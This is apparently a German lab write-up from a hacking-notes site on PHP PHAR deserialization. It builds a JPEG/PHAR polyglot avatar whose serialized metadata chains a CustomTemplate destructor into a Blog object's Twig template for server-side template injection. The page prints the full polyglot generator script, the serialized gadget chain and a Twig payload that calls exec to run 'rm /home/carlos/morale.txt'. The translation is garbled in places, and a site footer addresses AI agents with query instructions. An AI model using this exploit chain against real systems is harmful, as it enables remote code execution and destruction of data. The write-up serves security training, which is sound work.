> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/deserialization/phar-deserialization-with-custom-chain.md).

# PHAR-Deserialisierung mit angepasster Kette

### Mit PHAR-Deserialisierung eine benutzerdefinierte Gadget-Kette bereitstellen

Dieses Lab führt **nicht** keine explizite klassische Deserialisierung durch. Die Idee ist, zu **auslösen** Deserialisierung auszulösen, indem man das Verhalten von PHP mit dem Wrapper ausnutzt **`phar://`**, um eine **RCE** über eine **benutzerdefinierte Gadget-Kette**, dann löschen:

* `/home/carlos/morale.txt`

Bereitgestellter Bezeichner:

* `wiener:peter`

<figure><img src="/files/b5b5687cb6d8fd1bae907058e0e49befcf40be38" alt=""><figcaption></figcaption></figure>

### (1) Anwendungsseitige Markierung

#### Avatar-Upload

Nach der Authentifizierung kannst du **eine Datei hochladen** über eine POST-Anfrage in der Avatar-Funktion hochladen.1) Anwendungsseitige Markierung

<figure><img src="/files/a3ef060508334b5fcf846f92723af4ff3da6d9b2" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/045b3de1e35730a9033e583ad9e3ec52c25c558b" alt=""><figcaption></figcaption></figure>

Wenn du auf das Profilbild klickst, löst das Laden über Folgendes aus:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="/files/ad84190344f32dfdd1bb7a77d51a0eb10688b4a8" alt=""><figcaption></figcaption></figure>

#### Lesbare Dateien in `/cgi-bin/`

Beim Aufrufen von `/cgi-bin/`, sind mehrere Dateien **lesbar** (nützlich, um den Code abzurufen und die Zeichenkette zu bauen).

| Name                  | Größe |
| --------------------- | ----- |
| CustomTemplate.php    | 1091B |
| CustomTemplate.php/\~ | 0B    |
| Blog.php              | 628B  |
| Blog.php/\~           | 0B    |
| avatar.php            | 540B  |

<figure><img src="/files/9168f10a51f75f4277f894063cf0ca19cadc05f8" alt=""><figcaption></figcaption></figure>

#### 2) Quellcode wiederhergestellt

#### `blog.php`

Es gibt ein `Blog` Klasse, die Twig in `__wakeup()`:

* `__sleep()` serialisiert `Benutzer` und `desc`
* `__wakeup()` erstellt eine `Twig_Environment` mit einer Vorlage basierend auf `desc`
* `__toString()` rendert `index` und injiziert `Benutzer`

Wichtiger Punkt: `desc` wird direkt zu einer **Twig-Vorlage**, sodass sie verwendet werden kann, um **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

Das `CustomTemplate` Klasse enthält:

* ein privates `$template_file_path` Feld
* eine `__destruct()` Destruktor, der Folgendes macht:
* `@unlink($this->lockFilePath());`

`lockFilePath()` erstellt:

* `'templates/' . $this->template_file_path . '.lock'`

Wenn wir also `template_file_path` mit einem Objekt kontrollieren, das in einen String konvertiert wird, können wir den Pfad beeinflussen, der von `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Konnte nicht in " . $this->lockFilePath() . " schreiben.");
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Konnte nicht in " . $this->template_file_path . " schreiben.");
            }
        }
    }

    function __destruct() {
        // Carlos dachte, das wäre eine gute Idee
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Nutzlast für Twig (SSTI → Exec)

Verwendete Twig-Nutzlast:

Ziel: auszuführen `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Strategische Vorgehensweise: Polyglot-PHAR

Die Herausforderung: Der Upload wartet auf eine **image**. / Lösung: Erstelle ein **Polyglot** Datei ein:

* Gültig als **JPEG**
* aber enthält ein **PHAR** (tar/phar-Format) mit **Metadaten** serialisiert

Warum funktioniert das?

* Wenn PHP eine Ressource über `phar://...`, kann es das Lesen des PHAR-Manifests auslösen und **bestimmte Metadaten** (also aufrufen `__wakeup`, `__destruct`, usw. je nach Zeichenkette).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // <?php entfernen, funktioniert mit Präfix nicht
    $len = strlen($phar) + 2; // festgelegt
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // TAR-Prüfsumme berechnen
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // Prüfsumme einbetten
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// Exploit-Klasse für POP
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// Konfiguration für jpg
$tempname = 'temp.tar.phar'; // als tar erstellen
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// jpg erstellen
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// Konfiguration für gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // gif-Header, Größe 300 x 300
$tempname = 'temp.phar'; // als phar erstellen
$outfile = 'out.gif';

// gif erstellen
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Erstellte Gadget-Kette

Du baust:

* eine `Blog` Objekt mit:
* `user = "pwned"`
* `desc = <Twig-SSTI-Nutzlast>`
* dann fügst du dieses Objekt in `CustomTemplate->template_file_path`

Auf diese Weise, wenn `CustomTemplate` zerstört wird, `lockFilePath()` wird einen Wert aus einem Objekt konkateniert, was eine Umwandlung in einen String erzwingt → ruft `Blog::__toString()` → löst `twig->render()` → interpretiert `desc` → führt den Befehl aus.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="/files/a50e93373d95d1b83dde7701ecfe6b1d05c1ba95" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:\"CustomTemplate\":1:{s:18:\"template_file_path\";O:4:\"Blog\":2:{s:4:\"user\";s:5:\"pwned\";s:4:\"desc\";s:106:\"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\";}}"
```

{% endcode %}

* Hochladen `out.jpg` als Avatar

<figure><img src="/files/91343dfbd7ed587a7822752d0abb99b51f763044" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/02ea3519e3dcf23de95bf0f1df4af0762b2a3878" alt=""><figcaption></figcaption></figure>

Ressourcenaufruf über `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

Zu diesem Zeitpunkt öffnet die Anwendung die Ressource mit dem PHAR-Wrapper, die Metadaten werden deserialisiert, die Zeichenkette wird ausgelöst, und die Datei:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
